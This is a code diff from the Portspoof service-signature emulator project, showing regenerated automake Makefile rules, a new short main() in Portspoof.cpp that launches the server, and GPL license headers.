@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Fuzzer.o -MD -MP -MF $(DEPDIR)/portspoof-Fuzzer.Tpo -c -o portspoof-Fuzzer.o `test -f 'Fuzzer.cpp' || echo '$(srcdir)/'`Fuzzer.cpp
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Fuzzer.Tpo $(DEPDIR)/portspoof-Fuzzer.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Fuzzer.cpp' object='portspoof-Fuzzer.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Fuzzer.o `test -f 'Fuzzer.cpp' || echo '$(srcdir)/'`Fuzzer.cpp
|
||||
|
||||
portspoof-revregex.obj: revregex.c
|
||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-revregex.obj -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.obj `if test -f 'revregex.c'; then $(CYGPATH_W) 'revregex.c'; else $(CYGPATH_W) '$(srcdir)/revregex.c'; fi`
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='revregex.c' object='portspoof-revregex.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-revregex.obj `if test -f 'revregex.c'; then $(CYGPATH_W) 'revregex.c'; else $(CYGPATH_W) '$(srcdir)/revregex.c'; fi`
|
||||
portspoof-Fuzzer.obj: Fuzzer.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Fuzzer.obj -MD -MP -MF $(DEPDIR)/portspoof-Fuzzer.Tpo -c -o portspoof-Fuzzer.obj `if test -f 'Fuzzer.cpp'; then $(CYGPATH_W) 'Fuzzer.cpp'; else $(CYGPATH_W) '$(srcdir)/Fuzzer.cpp'; fi`
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Fuzzer.Tpo $(DEPDIR)/portspoof-Fuzzer.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Fuzzer.cpp' object='portspoof-Fuzzer.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Fuzzer.obj `if test -f 'Fuzzer.cpp'; then $(CYGPATH_W) 'Fuzzer.cpp'; else $(CYGPATH_W) '$(srcdir)/Fuzzer.cpp'; fi`
|
||||
|
||||
portspoof-log.o: log.c
|
||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-log.o -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.o `test -f 'log.c' || echo '$(srcdir)/'`log.c
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='log.c' object='portspoof-log.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-log.o `test -f 'log.c' || echo '$(srcdir)/'`log.c
|
||||
portspoof-Portspoof.o: Portspoof.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Portspoof.o -MD -MP -MF $(DEPDIR)/portspoof-Portspoof.Tpo -c -o portspoof-Portspoof.o `test -f 'Portspoof.cpp' || echo '$(srcdir)/'`Portspoof.cpp
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Portspoof.Tpo $(DEPDIR)/portspoof-Portspoof.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Portspoof.cpp' object='portspoof-Portspoof.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Portspoof.o `test -f 'Portspoof.cpp' || echo '$(srcdir)/'`Portspoof.cpp
|
||||
|
||||
portspoof-log.obj: log.c
|
||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-log.obj -MD -MP -MF $(DEPDIR)/portspoof-log.Tpo -c -o portspoof-log.obj `if test -f 'log.c'; then $(CYGPATH_W) 'log.c'; else $(CYGPATH_W) '$(srcdir)/log.c'; fi`
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-log.Tpo $(DEPDIR)/portspoof-log.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='log.c' object='portspoof-log.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-log.obj `if test -f 'log.c'; then $(CYGPATH_W) 'log.c'; else $(CYGPATH_W) '$(srcdir)/log.c'; fi`
|
||||
portspoof-Portspoof.obj: Portspoof.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Portspoof.obj -MD -MP -MF $(DEPDIR)/portspoof-Portspoof.Tpo -c -o portspoof-Portspoof.obj `if test -f 'Portspoof.cpp'; then $(CYGPATH_W) 'Portspoof.cpp'; else $(CYGPATH_W) '$(srcdir)/Portspoof.cpp'; fi`
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Portspoof.Tpo $(DEPDIR)/portspoof-Portspoof.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Portspoof.cpp' object='portspoof-Portspoof.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Portspoof.obj `if test -f 'Portspoof.cpp'; then $(CYGPATH_W) 'Portspoof.cpp'; else $(CYGPATH_W) '$(srcdir)/Portspoof.cpp'; fi`
|
||||
|
||||
portspoof-config_file.o: config_file.c
|
||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-config_file.o -MD -MP -MF $(DEPDIR)/portspoof-config_file.Tpo -c -o portspoof-config_file.o `test -f 'config_file.c' || echo '$(srcdir)/'`config_file.c
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-config_file.Tpo $(DEPDIR)/portspoof-config_file.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='config_file.c' object='portspoof-config_file.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-config_file.o `test -f 'config_file.c' || echo '$(srcdir)/'`config_file.c
|
||||
portspoof-Server.o: Server.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Server.o -MD -MP -MF $(DEPDIR)/portspoof-Server.Tpo -c -o portspoof-Server.o `test -f 'Server.cpp' || echo '$(srcdir)/'`Server.cpp
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Server.Tpo $(DEPDIR)/portspoof-Server.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Server.cpp' object='portspoof-Server.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Server.o `test -f 'Server.cpp' || echo '$(srcdir)/'`Server.cpp
|
||||
|
||||
portspoof-config_file.obj: config_file.c
|
||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-config_file.obj -MD -MP -MF $(DEPDIR)/portspoof-config_file.Tpo -c -o portspoof-config_file.obj `if test -f 'config_file.c'; then $(CYGPATH_W) 'config_file.c'; else $(CYGPATH_W) '$(srcdir)/config_file.c'; fi`
|
||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-config_file.Tpo $(DEPDIR)/portspoof-config_file.Po
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='config_file.c' object='portspoof-config_file.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-config_file.obj `if test -f 'config_file.c'; then $(CYGPATH_W) 'config_file.c'; else $(CYGPATH_W) '$(srcdir)/config_file.c'; fi`
|
||||
portspoof-Server.obj: Server.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Server.obj -MD -MP -MF $(DEPDIR)/portspoof-Server.Tpo -c -o portspoof-Server.obj `if test -f 'Server.cpp'; then $(CYGPATH_W) 'Server.cpp'; else $(CYGPATH_W) '$(srcdir)/Server.cpp'; fi`
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Server.Tpo $(DEPDIR)/portspoof-Server.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Server.cpp' object='portspoof-Server.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Server.obj `if test -f 'Server.cpp'; then $(CYGPATH_W) 'Server.cpp'; else $(CYGPATH_W) '$(srcdir)/Server.cpp'; fi`
|
||||
|
||||
portspoof-revregex.o: revregex.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-revregex.o -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.o `test -f 'revregex.cpp' || echo '$(srcdir)/'`revregex.cpp
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='revregex.cpp' object='portspoof-revregex.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-revregex.o `test -f 'revregex.cpp' || echo '$(srcdir)/'`revregex.cpp
|
||||
|
||||
portspoof-revregex.obj: revregex.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-revregex.obj -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.obj `if test -f 'revregex.cpp'; then $(CYGPATH_W) 'revregex.cpp'; else $(CYGPATH_W) '$(srcdir)/revregex.cpp'; fi`
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='revregex.cpp' object='portspoof-revregex.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-revregex.obj `if test -f 'revregex.cpp'; then $(CYGPATH_W) 'revregex.cpp'; else $(CYGPATH_W) '$(srcdir)/revregex.cpp'; fi`
|
||||
|
||||
portspoof-Utils.o: Utils.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Utils.o -MD -MP -MF $(DEPDIR)/portspoof-Utils.Tpo -c -o portspoof-Utils.o `test -f 'Utils.cpp' || echo '$(srcdir)/'`Utils.cpp
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Utils.Tpo $(DEPDIR)/portspoof-Utils.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Utils.cpp' object='portspoof-Utils.o' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Utils.o `test -f 'Utils.cpp' || echo '$(srcdir)/'`Utils.cpp
|
||||
|
||||
portspoof-Utils.obj: Utils.cpp
|
||||
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Utils.obj -MD -MP -MF $(DEPDIR)/portspoof-Utils.Tpo -c -o portspoof-Utils.obj `if test -f 'Utils.cpp'; then $(CYGPATH_W) 'Utils.cpp'; else $(CYGPATH_W) '$(srcdir)/Utils.cpp'; fi`
|
||||
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Utils.Tpo $(DEPDIR)/portspoof-Utils.Po
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Utils.cpp' object='portspoof-Utils.obj' libtool=no @AMDEPBACKSLASH@
|
||||
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Utils.obj `if test -f 'Utils.cpp'; then $(CYGPATH_W) 'Utils.cpp'; else $(CYGPATH_W) '$(srcdir)/Utils.cpp'; fi`
|
||||
|
||||
ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
|
||||
list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
|
||||
unique=`for i in $$list; do \
|
||||
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||
done | \
|
||||
$(AWK) ' { files[$$0] = 1; } \
|
||||
END { for (i in files) print i; }'`; \
|
||||
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||
mkid -fID $$unique
|
||||
tags: TAGS
|
||||
|
||||
TAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \
|
||||
$(TAGS_FILES) $(LISP)
|
||||
tags=; \
|
||||
set x; \
|
||||
here=`pwd`; \
|
||||
list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \
|
||||
unique=`for i in $$list; do \
|
||||
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||
done | \
|
||||
$(AWK) ' { files[$$0] = 1; } \
|
||||
END { for (i in files) print i; }'`; \
|
||||
if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
|
||||
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||
shift; \
|
||||
if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \
|
||||
test -n "$$unique" || unique=$$empty_fix; \
|
||||
if test $$# -gt 0; then \
|
||||
$(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
|
||||
$$tags $$unique; \
|
||||
"$$@" $$unique; \
|
||||
else \
|
||||
$(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
|
||||
$$unique; \
|
||||
fi; \
|
||||
fi
|
||||
ctags: CTAGS
|
||||
CTAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \
|
||||
$(TAGS_FILES) $(LISP)
|
||||
tags=; \
|
||||
here=`pwd`; \
|
||||
list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \
|
||||
unique=`for i in $$list; do \
|
||||
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||
done | \
|
||||
$(AWK) ' { files[$$0] = 1; } \
|
||||
END { for (i in files) print i; }'`; \
|
||||
test -z "$(CTAGS_ARGS)$$tags$$unique" \
|
||||
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||
test -z "$(CTAGS_ARGS)$$unique" \
|
||||
|| $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
|
||||
$$tags $$unique
|
||||
$$unique
|
||||
|
||||
GTAGS:
|
||||
here=`$(am__cd) $(top_builddir) && pwd` \
|
||||
&& cd $(top_srcdir) \
|
||||
&& gtags -i $(GTAGS_ARGS) $$here
|
||||
&& $(am__cd) $(top_srcdir) \
|
||||
&& gtags -i $(GTAGS_ARGS) "$$here"
|
||||
|
||||
distclean-tags:
|
||||
-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
|
||||
@ -408,13 +472,17 @@ distdir: $(DISTFILES)
|
||||
if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
|
||||
if test -d $$d/$$file; then \
|
||||
dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \
|
||||
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
|
||||
cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
|
||||
if test -d "$(distdir)/$$file"; then \
|
||||
find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
|
||||
fi; \
|
||||
cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
|
||||
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
|
||||
cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \
|
||||
find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
|
||||
fi; \
|
||||
cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \
|
||||
else \
|
||||
test -f $(distdir)/$$file \
|
||||
|| cp -p $$d/$$file $(distdir)/$$file \
|
||||
test -f "$(distdir)/$$file" \
|
||||
|| cp -p $$d/$$file "$(distdir)/$$file" \
|
||||
|| exit 1; \
|
||||
fi; \
|
||||
done
|
||||
@ -445,6 +513,7 @@ clean-generic:
|
||||
|
||||
distclean-generic:
|
||||
-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
|
||||
-test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES)
|
||||
|
||||
maintainer-clean-generic:
|
||||
@echo "This command is intended for maintainers to use"
|
||||
@ -465,6 +534,8 @@ dvi-am:
|
||||
|
||||
html: html-am
|
||||
|
||||
html-am:
|
||||
|
||||
info: info-am
|
||||
|
||||
info-am:
|
||||
@ -473,18 +544,28 @@ install-data-am:
|
||||
|
||||
install-dvi: install-dvi-am
|
||||
|
||||
install-dvi-am:
|
||||
|
||||
install-exec-am: install-binPROGRAMS
|
||||
|
||||
install-html: install-html-am
|
||||
|
||||
install-html-am:
|
||||
|
||||
install-info: install-info-am
|
||||
|
||||
install-info-am:
|
||||
|
||||
install-man:
|
||||
|
||||
install-pdf: install-pdf-am
|
||||
|
||||
install-pdf-am:
|
||||
|
||||
install-ps: install-ps-am
|
||||
|
||||
install-ps-am:
|
||||
|
||||
installcheck-am:
|
||||
|
||||
maintainer-clean: maintainer-clean-am
|
||||
@ -506,7 +587,7 @@ ps-am:
|
||||
|
||||
uninstall-am: uninstall-binPROGRAMS
|
||||
|
||||
.MAKE: install-am install-strip
|
||||
.MAKE: all install-am install-strip
|
||||
|
||||
.PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS \
|
||||
clean-generic ctags distclean distclean-compile \
|
||||
@ -521,6 +602,7 @@ uninstall-am: uninstall-binPROGRAMS
|
||||
mostlyclean-compile mostlyclean-generic pdf pdf-am ps ps-am \
|
||||
tags uninstall uninstall-am uninstall-binPROGRAMS
|
||||
|
||||
|
||||
# Tell versions [3.59,3.63) of GNU make to not export all variables.
|
||||
# Otherwise a system limit (for SysV at least) may be exceeded.
|
||||
.NOEXPORT:
|
||||
|
58
src/portspoof.h → src/Portspoof.cpp
Normal file → Executable file
58
src/portspoof.h → src/Portspoof.cpp
Normal file → Executable file
@ -1,6 +1,6 @@
|
||||
/*
|
||||
* portspoof Service signature obfucastor
|
||||
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
@ -16,34 +16,50 @@
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on portspoof. Thus, the terms and conditions of
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of portspoof
|
||||
* gives you permission to combine portspoof with free software programs or
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* portspoof and the licenses of the other code concerned.
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of portspoof are not obligated
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
#define OPT_IP 1<<1
|
||||
#define OPT_PORT 1<<2
|
||||
#define OPT_DEBUG 1<<3
|
||||
#define OPT_SIG_FILE 1<<4
|
||||
#define OPT_LOG_FILE 1<<5
|
||||
#define OPT_SYSLOG_DIS 1<<6
|
||||
#define OPT_CONFIG_FILE 1<<7
|
||||
|
||||
#define CONFSEPARATOR "/"
|
||||
#define DEFAULT_PORT 4444
|
||||
#define LOG_FILE "portspoof.log"
|
||||
#define CONF_FILE "portspoof.conf"
|
||||
#define SIGNATURE_FILE "signatures"
|
||||
extern char opts;
|
||||
extern char* log_file;
|
||||
|
||||
#include "Server.h"
|
||||
#include "Configuration.h"
|
||||
#include "Threads.h"
|
||||
|
||||
|
||||
#include "revregex.h"
|
||||
#include "connection.h"
|
||||
|
||||
Configuration* configuration;
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
|
||||
Server* server;
|
||||
|
||||
configuration = new Configuration();
|
||||
|
||||
if(configuration->processArgs(argc,argv))
|
||||
exit(1);
|
||||
|
||||
|
||||
if(configuration->getConfigValue(OPT_RUN_AS_D))
|
||||
Utils::daemonize(configuration);
|
||||
|
||||
server = new Server(configuration);
|
||||
server->run();
|
||||
|
||||
return 0;
|
||||
}
|
179
src/Server.cpp
Executable file
179
src/Server.cpp
Executable file
@ -0,0 +1,179 @@
|
||||
/*
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
